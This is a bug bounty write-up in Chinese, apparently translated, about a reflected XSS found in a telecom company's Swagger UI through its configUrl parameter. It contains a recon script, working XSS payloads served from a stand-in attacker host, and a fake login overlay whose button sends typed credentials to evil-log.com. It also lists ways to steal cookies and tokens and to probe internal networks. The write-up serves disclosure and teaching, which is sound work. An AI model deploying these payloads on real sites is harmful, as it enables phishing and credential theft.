白帽故事 · 2026年3月2日

从一份配置文档到安全漏洞:400美元赏金的实战挖掘之旅

自动化侦察、历史数据挖掘与细致测试的完美结合

今天要分享一个真实的漏洞挖掘故事:如何通过自动化的侦察流程、历史URL的数据挖掘,以及一丝不苟的测试验证,成功发现一处中等危害级别的反射型跨站脚本攻击漏洞。这次发现最终获得了 400美元的官方赏金(经由HackerOne平台),目标是一家大型电信运营商的核心生产环境。

大家好,

我在一家大型电信企业的生产环境中,发现了一个反射型跨站脚本攻击漏洞,问题出在其Swagger UI接口实例上。

这个安全缺陷已经通过他们在HackerOne上的漏洞悬赏计划进行了负责任的披露,最终赢得了400美元的赏金

bounty

漏洞评级:中等

潜在影响分析:

  1. 在目标域上下文中执行任意JavaScript代码
  2. 对用户界面进行恶意篡改与操控
  3. 存在注入钓鱼攻击页面的可能性
  4. 滥用受信任的企业域名进行攻击

系统化的侦察过程

我遵循了一套融合自动化工具与人工验证的结构化侦察方法。

第一步:子域名的全面枚举

将目标主域名列表保存在 scope.txt 文件中。

使用到的核心工具:

  • subfinder
  • assetfinder

将所有工具的扫描结果进行合并、去重,并筛选出在测试范围内的目标子域名。

自动化枚举脚本示例

#!/bin/bash

echo -n "请输入目标域名列表文件名:"
read target_file

# 使用Subfinder进行初步发现
subfinder -dL $target_file -o subfinder_results.txt

# 使用Assetfinder进行补充收集
cat $target_file | while read domain; do
    assetfinder "$domain" | tee -a assetfinder_results.txt
done

# 合并所有结果
cat subfinder_results.txt | tee -a all_subdomains.txt
cat assetfinder_results.txt | tee -a all_subdomains.txt

# 清理中间文件
rm assetfinder_results.txt subfinder_results.txt

# 统一URL协议为HTTPS
sed -i 's/http:\/\//https:\/\//g' all_subdomains.txt

# 去重排序
sort all_subdomains.txt | uniq | tee -a unique_subdomains.txt
rm all_subdomains.txt

# 精准筛选在测试范围内的域名
cat $target_file | while read in_scope_domain; do
    grep "$in_scope_domain" unique_subdomains.txt | tee -a final_subdomains.txt
done

rm unique_subdomains.txt

第二步:活动主机的快速筛选

cat final_subdomains.txt | httpx -silent | tee -a live_hosts.txt

这一步过滤掉了无法访问或已失效的主机,只保留了可正常响应的资产,大大提高了后续测试的效率。

第三步:历史URL的数据“考古挖掘”

归档的历史URL常常会暴露出已被遗忘的接口端点或测试页面[1]。

cat live_hosts.txt | waybackurls | tee -a historical_urls.txt

根据经验,Swagger接口实例经常出现在以下环境中:

  • 预发布或暂存部署环境
  • 内部API技术文档站点
  • 被遗忘的测试或开发环境

第四步:针对性的关键词过滤

接下来,在浩如烟海的历史URL中搜索Swagger相关的痕迹:

grep -i "swagger-ui.html" historical_urls.txt

正是在这里,我锁定了那个存在安全缺陷的端点。

漏洞的详细剖析

存在问题的Swagger UI端点接受一个名为 configUrl 的参数:

/swagger-ui.html?configUrl=

这个参数允许从外部动态加载JSON格式的配置文件,用以自定义Swagger UI的展示内容。

缺失的关键安全防护措施:

缺乏来源验证:未对configUrl指向的源站进行任何合法性校验。
未实施白名单机制:没有限制可加载配置文件的域名范围。
远程内容未净化:直接加载并渲染远程JSON内容,未进行安全过滤[2]。

这些安全控制的缺失,使得攻击者能够加载由自己控制的、托管在外部服务器的恶意JSON配置文件。

概念验证与漏洞复现

恶意构造的外部JSON文件内容:

{
  "swagger": "2.0",
  "info": {
    "title": "<img src=x onerror=alert('XSS_'+document.domain)>",
    "version": "1.0"
  },
  "paths": {}
}

将此JSON文件托管在攻击者可控制的服务器上(例如:https://evil-server.com/payload.json),然后诱导受害者访问以下链接:

https://target-telecom.com/swagger-ui.html?configUrl=https://evil-server.com/payload.json

攻击结果:
✅ 恶意JavaScript代码成功在目标域上下文中执行。
✅ 确认存在反射型XSS漏洞。

基于弹窗提示的R-XSS验证截图:

rxss

漏洞的扩展利用:注入伪造登录界面

为了更直观地展示漏洞的现实危害,我演示了如何在Swagger UI中注入一个完全仿真的登录表单。

使用的增强型恶意配置(JSON):

{
  "swagger": "2.0",
  "info": {
    "title": "<div style='position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:9999; color:white; padding-top:100px; text-align:center; font-family:Arial;'><h2>系统安全升级通知</h2><p>您的会话已过期,为确保账户安全,请重新登录。</p><br><input type='text' placeholder='员工邮箱' id='user' style='padding:10px;'><br><br><input type='password' placeholder='密码' id='pass' style='padding:10px;'><br><br><button onclick='fetch(\"https://evil-log.com/steal?u=\"+document.getElementById(\"user\").value+\"&p=\"+document.getElementById(\"pass\").value); alert(\"登录成功,正在跳转...\")' style='padding:10px 20px;'>立即登录</button></div>",
    "version": "1.0"
  },
  "paths": {}
}

通过访问包含此配置的URL,用户将看到一个覆盖全屏的、极具迷惑性的“安全升级”登录提示。

伪造登录界面的演示效果:

file

漏洞的深入利用方法与防护绕过技巧

除了基础的XSS,这类配置注入漏洞还可能被用于更高级的攻击:

1. 窃取敏感令牌与Cookie:
攻击者可以构造恶意脚本,窃取当前用户的document.cookie、LocalStorage中的JWT令牌,或通过fetch API将敏感数据外传[2]。

2. 发起内部网络探测(SSRF盲打):
利用受害者浏览器作为代理,访问并探测目标内网的API或管理界面(如 http://192.168.1.1/admin),并将响应结果回传到攻击者服务器。

3. 组合其他漏洞进行提权:
如果受害者是拥有更高权限的用户(如管理员),XSS漏洞可能成为其他攻击(如CSRF、权限提升)的跳板。

4. 利用框架特性绕过内容安全策略:
研究Swagger UI自身是否引入了某些宽松的CSP策略,或存在允许执行eval()等危险函数的情况,从而绕过常规的XSS防护。

核心收获与经验总结

1️⃣ 被忽视的Swagger UI也可能成为安全短板
开发与运维人员常常将Swagger UI视为无害的“文档页面”而忽视其安全配置。任何允许加载外部资源的参数都必须受到严格管控。

2️⃣ 历史数据是侦察阶段的“金矿”
利用Wayback Machine、Common Crawl等历史存档服务,配合gaukatana等现代化爬虫工具,可以系统性地发现那些不再被链接但仍可访问的“影子资产”[1]。

3️⃣ “自动化广度扫描 + 人工深度验证”是最佳实践
自动化工具(如ffuf, nuclei)负责快速地覆盖大量目标与常见漏洞模式;而安全研究员则专注于对可疑点进行深度分析、逻辑梳理和漏洞链构造,这是当前发现高质量漏洞的有效模式。

4️⃣ 漏洞挖掘需要关注“非常规”参数
除了常见的qsearchredirect等参数,应特别关注那些用于配置、调试、导入功能的参数,如configdebugloadimportUrltemplate等,它们往往蕴含更高的风险。

原文:https://dr34m14.medium.com/from-swagger-to-shell-turning-a-misconfigured-configurl-into-a-400-rxss-bounty-74375c700a51